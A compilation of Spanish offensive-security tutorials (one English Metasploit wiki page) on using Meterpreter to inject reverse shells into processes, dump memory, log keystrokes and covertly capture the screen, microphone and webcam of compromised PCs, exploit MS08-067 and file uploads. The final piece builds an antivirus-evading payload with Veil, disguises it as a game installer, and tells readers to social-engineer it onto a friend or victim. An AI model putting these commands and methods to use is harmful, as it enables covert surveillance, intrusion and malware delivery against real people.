Manipulación de Memoria sobre una maquina comprometida utilizando Meterpreter

Meterpreter es bastante robusto a la hora de manipular la memoria de una víctima y los procesos cargados en ella, este nivel de potencia es alcanzado gracias a la definición de scripts meterpreter escritos en Ruby, ya que le permite al desarrollador crearlos y desplegarlos en metasploit o utilizar algunos existentes para diversos fines. En entradas anteriores se ha indicado el uso de algunos de estos scripts y herramientas adicionales como Volatility FrameWork y PMDump, en esta ocasión, se indicará el uso de algunos scripts adicionales para manipular la memoria de una victima determinada.

multi_meter_inject

Este script intentará crear una conexión reversa en la memoria de uno o muchos PID’s especificados por parámetro, en el caso de que estos PID no sean indicados, se iniciará por defecto un nuevo proceso con notepad.exe. Una de las principales ventajas de este script es que se pueden especificar múltiples host y multiples PID’s para crear el stager de meterpreter, esto significa que la sesión meterpreter creada, puede “replicarse” a otras maquinas en las que el atacante también tendrá un payload meterpreter esperando a la conexión del stager.
En resumen, el atacante tendrá la posibilidad de crear tantas sesiones meterpreter contra la maquina comprometida como maquinas disponga y cada una de estas sesiones será “insertada” en un proceso que se encuentra en ejecución en la maquina comprometida.

meterpreter > run multi_meter_inject -h Meterpreter Script for injecting a reverce tcp Meterpreter Payloadin to memory of multiple PIDs, if none is provided a notepad process.will be created and a Meterpreter Payload will be injected in to each. OPTIONS: -h Help menu. -m Start Exploit multi/handler for return connection -mp Provide Multiple PID for connections separated by comma one per IP. -mr Provide Multiple IP Addresses for Connections separated by comma. -p The port on the remote host where Metasploit is listening (default: 4444) -pt Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp

Un ejemplo de ejecución de este script puede ser el siguiente:

meterpreter > run multi_meter_inject -mr 192.168.1.36,192.168.1.37 -p 3344 -mp 628,792 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.36 LPORT=3344 [*] Injecting meterpreter into process ID 628 [*] Allocated memory at address 0x00d60000, for 290 byte stager [*] Writing the stager into memory… [+] Successfully injected Meterpreter in to process: 628 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.37 LPORT=3344 [*] Injecting meterpreter into process ID 792 [*] Allocated memory at address 0x003e0000, for 290 byte stager [*] Writing the stager into memory… [+] Successfully injected Meterpreter in to process: 792

Con el comando anterior, se han creado dos sesiones meterpreter controladas por el atacante en las direcciones 192.168.1.36 y 192.168.1.37 ambas escuchando por el puerto 3344, estas sesiones han sido insertadas en los procesos 628 y 792 respectivamente, cada uno de estos procesos corresponde a un programa en ejecución en la maquina comprometida.

duplicate

Este script tiene una funcionalidad bastante similar al script multi_meter_inject ya que se encarga de replicar la sesión meterpreter en otro proceso del sistema operativo con el fin de que sea difícil cerrar el acceso desde la maquina atacada a la maquina del atacante

meterpreter > run duplicate -h OPTIONS: -D Disable the automatic multi/handler (use with -r to accept on another system) -P Process id to inject into; use instead of -e if multiple copies of one executable are running. -e Executable to inject into. Default notepad.exe, will fall back to spawn if not found. -h This help menu -p The port on the remote host where Metasploit is listening (default: 4546) -r The IP of a remote Metasploit listening for the connect back -s Spawn new executable to inject to. Only useful with -P. -w Write and execute an exe instead of injecting into a process

A modo de ejemplo, este script puede ser ejecutado con los siguientes parámetros

meterpreter > run duplicate -r 192.168.1.34 -p 4444 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.34 LPORT=4444 [*] Running payload handler [*] Current server process: sgiByfbLo.exe (1780) [*] Duplicating into notepad.exe… [*] Injecting meterpreter into process ID 3884 [*] Allocated memory at address 0x00e10000, for 290 byte stager [*] Writing the stager into memory… [*] New server process: 3884

Con la maquina 192.168.1.34 controlada por el atacante en el puerto 4444 recibirá el stager correspondiente a la sesión meterpreter replicada.

process_memdump

En una entrada anterior se ha indicado el uso de pmdump para realizar un volcado de memoria usando un script de meterpreter externo al framework, con este comando se puede llevar a cabo esta misma tarea, solamente que en lugar de utilizar pmdump se utiliza memdump sobre el proceso seleccionado

meterpreter > run process_memdump -h USAGE: EXAMPLE: run process_dump putty.exe EXAMPLE: run process_dump -p 1234 OPTIONS: -h Help menu. -n Name of process to dump. -p PID of process to dump. -q Query the size of the Process that would be dump in bytes. -r Text file wih list of process names to dump memory for, one per line. -t toggle location information in dump.

Un ejemplo del uso de este script puede ser:

meterpreter > run process_memdump -p 556 [*] Dumping memory for iexplore.exe [*] Dumping Memory of iexplore.exe with PID: 556 [*] base size = 64 [*] base size = 128 [*] base size = 192 [*] base size = 1224 [*] base size = 1228 [*] base size = 1280 [*] base size = 1344 [*] base size = 2368 [*] base size = 2432 [*] base size = 2496 [*] Saving Dumped Memory to /root/.msf3/logs/scripts/proc_memdump/192.168.1.36_iexplore.exe_556_20110512.0758.dmp

Fuente: http://thehackerway.com/2011/06/10/359/

Metasploit: Ver la pantalla de una pc comprometida

Hoy vamos a mejorar el modo de espiar, pudiendo ver en tiempo real lo que ocurre en el PC vulnerado, similar a una conexión de escritorio remoto. 

Lo primero que hay que hacer es conseguir una sesión de Meterpreter.

  

Imagen 1:  Lanzamiento de VNC

Una vez conseguida la sesión Meterpreter ya podemos hacer uso, el comando es simple:

run vnc 

Con ello lanzaremos la aplicación y podremos ver en tiempo real todos los movimientos que realice el PC vulnerado.

Imagen 2: Sesión Gráfica del Equipo Vulnerado

Ahí está, como podéis ver estamos visualizando el PC vulnerado y todos las acciones que realice.

Con este quinto post concluye la serie de artículos de Metasploit relacionados con “espionaje”.

 

Fuente: http://www.estacion-informatica.com/2013/04/vnc-metasploit.html

Metasploit: Capturar lo que escribe una pc comprometida

Comencemos pues, voy a utilizar para esta prueba un Windows XP (víctima) y Bugtraq. Como es habitual aprovecharemos la vulnerabilidad archiconocida netapi.

  

 

Imagen 1: Vulnerabilidad Netapi

Los pasos a seguir como siempre en esta vulnerabilidad...

 Imagen 2: Migrar Proceso

El paso de migrar el proceso es opcional, pero muy recomendable ya que se puede perder la sesión. Su sintaxis es la siguiente:

migrate proceso

 

 Imagen 3: Víctima

 Imagen 4: Keylogger

El nombre de este keylogger es keyscan y su funcionamiento es muy sencillo con keyscan_start se iniciará la aplicación y guardará toda pulsaciones de teclado del PC víctima.

Por otro lado el comando keyscan_dump sacara por pantalla las pulsaciones que capturo y por último el comando keyscan_stop detendrá la aplicación.

  

Volveremos con más Metasploit.

Fuente: http://www.estacion-informatica.com/2013/04/keyscan-metasploit.html 

Metasploit: Grabar el audio del microfono de una pc comprometida

Vamos al lio, una vez vulnerada la maquina y obteniendo una sesión de Meterpreter ya estamos en disposición de poder jugar.

Imagen 1: Lanzamiento Sound_recorder

Con este magnífico comando que nos brinda Meterpreter podemos capturar el audio del micrófono del PC:

run sound_recorder –t 60

Con el parámetro –t indicamos el tiempo en segundos de la captura de audio. 

Imagen 2: Ruta de la Captura

La captura Metasploit la guarda en la siguiente ruta: 

/home/bugtaq/msf4/logs/scrpits/sound_recoder

y con extensión .wav

Imagen 3: Captura Audio

  

He aquí la captura del audio, recordad que con el parámetro –t se podrá indicar el tiempo de captura en segundos.

Fuente: http://www.estacion-informatica.com/2013/04/soundrecorder-metasploit.html

Metasploit: Ver la Webcam de una pc comprometida

Hola a tod@s

Volvemos con la serie de artículos dedicados a Metasploit y hoy es el turno de la webcam. Habéis podido ver en post anteriores todo el potencial que tiene Metasploit, en el día de hoy realizaremos una demo en la que vulnerando un sistema es posible hacer capturas de la webcam y visualizarla en tiempo real.

  

Voy a utilizar para esta prueba un Windows XP (víctima) y Bugtraq, los pasos a seguir serán igual que en anteriores post, en el que conseguiremos acceder a la maquina con el payload meterpreter y la vulnerabilidad netapi.

Imagen 1: Obteniendo Sesión Meterpreter

Ya estamos dentro, una vez conseguido el objetivo toca saber si el PC vulnerado tiene webcam, para ello basta con introducir el siguiente comando:

webcam_list

 Imagen 2: Listando Webcam

El comando nos devuelve una webcam con nombre “dispositivo de vídeo USB”.  Es así por ser una webcam externa y no integrada en la computadora. Sabiendo que si tiene webcam comencemos pues. 

Con el comando siguiente tendremos una captura de pantalla:

webcam_snap

Imagen 3: Captura Webcam

Ahí me podéis ver como ha cazado la captura, yo con mi perro, la imagen la guarda por defecto en la siguiente ruta /home/bugtraq, al igual que ocurría con screenshot.

Imagen 4: Run Webcam

A continuación, se podrá observar en tiempo real todo lo que ocurra tras la webcam. El comando es el siguiente:

run webcam –p /var/www

 

Imagen 5: Webcam en Tiempo Real

Tras la ejecución del comando se abrirá el navegador con la sesión de dicha webcam en tiempo real y se podrá observar todo lo que ocurra tras la webcam. 

Fuente: http://www.estacion-informatica.com/2013/04/webcam-metasploit.html

How to use PhpEXE to exploit an arbitrary file upload bug

Arbitrary file upload is surprisingly common among web applications, which can be abused to upload malicious files and then compromise the server. Usually, the attacker will select a payload based on whatever server-side programming language is supported. So if the vulnerable app is in PHP, then clearly PHP is supported, therefore an easy choice would be using a PHP payload such as Metasploit's PHP meterpreter. However, the PHP meterpreter does not share the same performance as, say, a Windows meterpreter. So in reality, what happens is you will probably want to upgrade to a better shell, which involves extra manual work during the process. So why limit your payload options? For this type of scenario, you should use the PhpEXE mixin. It serves as a payload stager in PHP that will write the final malicious executable onto the remote file system, and then clear itself after use, so it leaves no traces.

Requirements

To use the PhpEXE mixin, some typical exploitable requirements should be met:

• You must find a writeable location on the web server.
• The same writeable location should also be readable with a HTTP request.

Note: For an arbitrary file upload bug, there is usually a directory that contains uploaded files, and is readable. If the bug is due to a directory traversal, then a temp folder (either from the OS or the web app) would be your typical choice.

Usage

• First include the mixin under the scope of your Metasploit3 class like the following:

include Msf::Exploit::PhpEXE

• Generate the payload (with the PHP stager) with get_write_exec_payload

p = get_write_exec_payload

If you're working on a Linux target, then you can set unlink_self to true, which will automatically clear the executable:

p = get_write_exec_payload(:unlink_self=>true)

On Windows, you probably cannot clear the executable because it will probably still be in use. If it's not possible to automatically clean up malicious files, you should always warn the user about where they are, so they can do it manually later during the penetration test.

• Upload the payload

At this point you can upload the payload generated by get_write_exec_payload, and then call it by using a GET request. If you do not know how to send a GET request, please refer to the following article: https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient

Reference

https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/php_exe.rb

Fuente: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-PhpEXE-to-exploit-an-arbitrary-file-upload-bug

Laboratorio básico de metasploit (atacando un windows xp)

Buenas tardes.

Estaba recolectando información sobre metasploit para realizar un post completo sobre el tema aunque estoy seguro que los manuales liberados en internet son mas que suficientes. La idea final es realizar pruebas con los últimos exploits publicados.

En esa labor encontré un tutorial muy bueno para empezar los laboratorios para principiantes que prácticamente es una explotación directa a una vulnerabilidad ya muy conocida en el ámbito del hacking.

Cabe anotar que tiene ya un tiempo y que actualmente se podría homologar usando kali y armitage"

Sin mas detalle:

Comencemos con los requisitos para tener todo listo

1. Tener 2 Maquinas Virtuales = Backtrack 4 R2 + Windows XP SP3
<- br="" o="" pueden="" usar="" virtualbox="" vmware="" workstation="">
2. Las 2 Maquinas deven estar en la misma Red. En Network Adapter : Bridge

Mi configuracion en XP SP3


Mi configuracion en Backtrack 4 R 2


3. Encender las 2 Maquinas y comprobar la Configuracion de la IP. Comando Ipconfig / Ifconfig




Como ven en XP -> 192.168.1.10 Backtrack -> 192.168.1.20

Configurar la IP en Windows --> Panel de Control : Conexiones de Red : Click derecho : Propiedades : TCP : Propiedades



Para configurar en Backtrack ->

Si no tienes activo eth0 = ifconfig eth0 up
Asignar una Ip = ifconfig eth0 192.168.1.20
Puerta de enlace = route add default gw 192.168.1.1
Comprobar todo = ifconfig




4. Usar el comando PING para probar conectividad.



:o:o:o:o:o:o


De Ahora en adelante usaremos el Backtrack para aplicar el metasploit y vulnerar XP ("Hackearlo")

[b]Algunas aclaraciones Previas :

- Desactivar el firewall de XP.
- El XP debe ser sin actualizaciones.

COMENCEMOS - TODO SE HACE POR CONSOLA

1. Actualizar el Metasploit : msfupdate <- a="" asi="" br="" de="" deves="" enlace="" esto="" haber="" internet.="" la="" para="" puerta="" puesto="" salida="" tener="" y="">
2. Termino de actualizar cargaremos el Metaploit por consola = msfconsole



3. Podemos ver todos los exploits que hay = show exploits

4. Buscaremos un exploit en especifico = search ms08 / Nos mostrara una lista de varios exploits

5. Usaremos el "exploit windows/smb/ms08_067_netapi" = use windows/smb/ms08_067_netapi



6. Miremos la informacion del Exploit, una ves dentro del exploit = info



7. Asignaremos a la variable RHOST la Ip victima = set RHOST 192.168.1.10

8. Comprobamos que se haya asignado = show options



9. Podemos ver los payloads compatible con este exploit : search payloads

10. Nosotros usaremos el payload "windows/vncinject/reverse_tcp" = set PAYLOAD windows/vncinject/reverse_tcp



11. Asignaremos a la variable LHOST nuestra IP : set LHOST 192.168.1.20

12. Comprobemos que todo este bien : show options



13. EL EXPLOIT :mad: = exploit





Fuente: http://masters-hackers.info/showthread.php?t=4921

Bypass de Antivirus con Veil Evasion

Un buen articulo que encontré escrito por Edgar para la comunidad dragon:
_____________________________________________________________________________

Buen dia comunidad, un gusto compartir con ustedes este post en el que les hablaré de Veil-evasion,s un framework creado por Christopher Truncer para generar ejecutables que no sean detectados por los antivirus comunes, técnica normalmente conocida como bypass de antivirus, evadir antivirus o simplemente volver in-detectable un ejecutable.
A continuación veremos como paso a paso, utilizando este framework generamos un ejecutable que nuestro antivirus analizara y no lo tomara como una amenaza.
Lo primero que debemos hacer es abrir una terminal en nuestro kali.


Con el comando apt-get update lo que en realidad vamos ha hacer es actualizar los repositorios, ver si hay algo nuevo, es decir actualizar la lista de todos los paquetes, con la dirección de dónde obtenerlos para que a la hora de hacer la búsqueda y su posterior descarga, sea más rápida.

Luego apt-get upgrade,que lo que hace es una actualización de nuestro sistema con todas las posibles actualizaciones que pudiera haber, es decir no sólo actualiza nuestro sistema operativo sino que también las aplicaciones que están contenidas en los repositorios. Este paso puede ser algo demorado dependiendo de la cantidad de aplicaciones.

Después de haber actualizado nuestro kali, continuamos con la instalación de nuestro framework Veil usando el comando apt-get install veil. Este paso también tarda un poco ya que se realiza una descarga de 195 Mb.

Después de instalar Veil, naveguamos hasta el directorio de instalación con el comando cd /usr/share/veil-evasion/setup/ estando dentro del directorio con el comando ls listamos los ficheros dentro de la ruta, podremos visualizar un script con el nombre setup.sh y lo ejecutamos el comando ./setup.sh

El script se ejecutara

Nos pide que hagamos unas instalaciones de Phyton damos clic en Next >.

Damos clic en Next >.

Remplazamos los archivos existentes dando clic en Yes.

Damos clic en Next >.

Damos clic en Finish.

Damos clic en Siguiente >.

Damos clic en Siguiente >.

Damos clic en Terminar.

Damos clic en Siguiente >.

Damos clic en Siguiente >.

Damos clic en Siguiente >.

Damos clic en Terminar.

Finalmente tenemos el framework de Veil instalado y configurado en nuestro kali con el comando clear limpiamos nuestra consola.

Nos devolvemos al directorio root con el comando cd /root y abrimos Veil con el comando veil-evasion

Esta abierto nuestro Veil con diferentes opciones

Con el comando list nos muestra los payloads que podemos usar

En la versión 2.4.3 que he instalado me aparecen un total de 24 payloads.

Ingresamos el número del payload a utilizar en este caso usare el número:
18) python/metertpreter/rev_tcp

En otra terminal con el comando ifconfig averiguamos la ip de nuestro kali para que la víctima se conecte hacia nosotros con el archivo.exe que crearemos con Veil.

Con el comando set LHOST 10.0.1.31 (la ip de nuestro kali o localhost) agregamos un parámetro que es obligatorio para poder crear nuestro archivo.exe

Con el comando generate crearemos el archivo.exe

Ingresa el nombre del archivo en mi caso le pondré “archivo”

Ingresamos el número del tipo de .exe en mi caso pondré el
1)    Pyinstaller (default)

Se ha creado nuestro archivo.exe y nos muestra todos los parámetros que le hemos pasado además la ruta donde se ha creado /root/veil-output/compiled/archivo.exe

Presionamos CTRL+C para salir de Veil y ponemos la ruta donde se encuentra nuestro archivo con el comando cd /root/veil-output/compiled/ para revisar que si se haya creado exitosamente ingresamos el comando ls para listar los archivos de esta carpeta, como podemos ver se creó satisfactoriamente

Daremos un toque más personalizado a nuestro archivo.exe poniéndole otro nombre y un icono más llamativo, para hacer esto llevamos nuestro archivo a un entorno Windows, usaremos winrar y un icono para pulir nuestro archivo.exe

Señalamos los dos archivos damos contra clic y seleccionamos Añadir al archivo

Le damos un nombre llamativo a nuestro archivo en mi caso es el nombre de un instalador para un juego de Xbox 360 “Install Gears Online.exe” y damos clic la opción crear archivo autoextraíble luego continuamos a la pestaña Avanzado

Damos clic en Autoextraíble… en algunas visiones de winrar dice FX

Damos la ruta de extracción de nuestros archivos y damos clic en Instalación

Ponemos el nombre de nuestro archivo.exe con extensión, damos clic en Modos

Damos clic en Ocultar todo y luego en Avanzado

Damos clic en Solicitar acceso como Administrador y luego damos clic en Actualizar

Damos clic en Omitir ficheros Existentes y luego en Texto e icono

Examinamos la ruta del icono llamativo
y damos clic en Aceptar

Clic en Aceptar

Ya tenemos nuestro archivo.exe con un nuevo icono y un nuevo nombre

La prueba de fuego escanearlo con un antivirus y recién actualizado

Ha pasado la prueba el EsetNod32 actualizado, no detecto amenazas en nuestro archivo

Les recomiendo no subir este tipo de archivos para probarlos en páginas como VIRUS TOTAL ya que estas se encargan de enviar estos datos para que sean examinados y reportar a las casa software de antivirus y podríamos perder la funcionalidad del framework.

Con un poco de ingeniería social hacemos llegar este archivo a nuestra víctima ya sea por correo un amigo muy cercano o de la manera que se les pueda ocurrir, el éxito depende un poco, de cuanto sepamos de esta persona ya que si es alguien que no le gusten los videojuegos como lo es en mi caso dudo mucho que lo abra. Es decir una imagen y nombre acorde a los gustos de nuestra víctima. Volviendo a nuestro kali abrimos Metasploit-framework con el comando msfconsole esto tarda un poco

Utilizamos el comando use exploit/multi/handler y tomamos los parametros del localhost, del localport y el payload que utilizaremos. Damos el comando exploit para que corra el exploit

Asumiendo que la víctima abre el “instalador del juego” miramos en nuestro kali que esta sucediendo

A nuestra victima si le gustan los videojuegos GAME OVER

 Articulo escrito por Edgar Parra para La Comunidad DragonJAR

Fuente: http://www.dragonjar.org/bypass-de-antivirus-con-veil-evasion.xhtml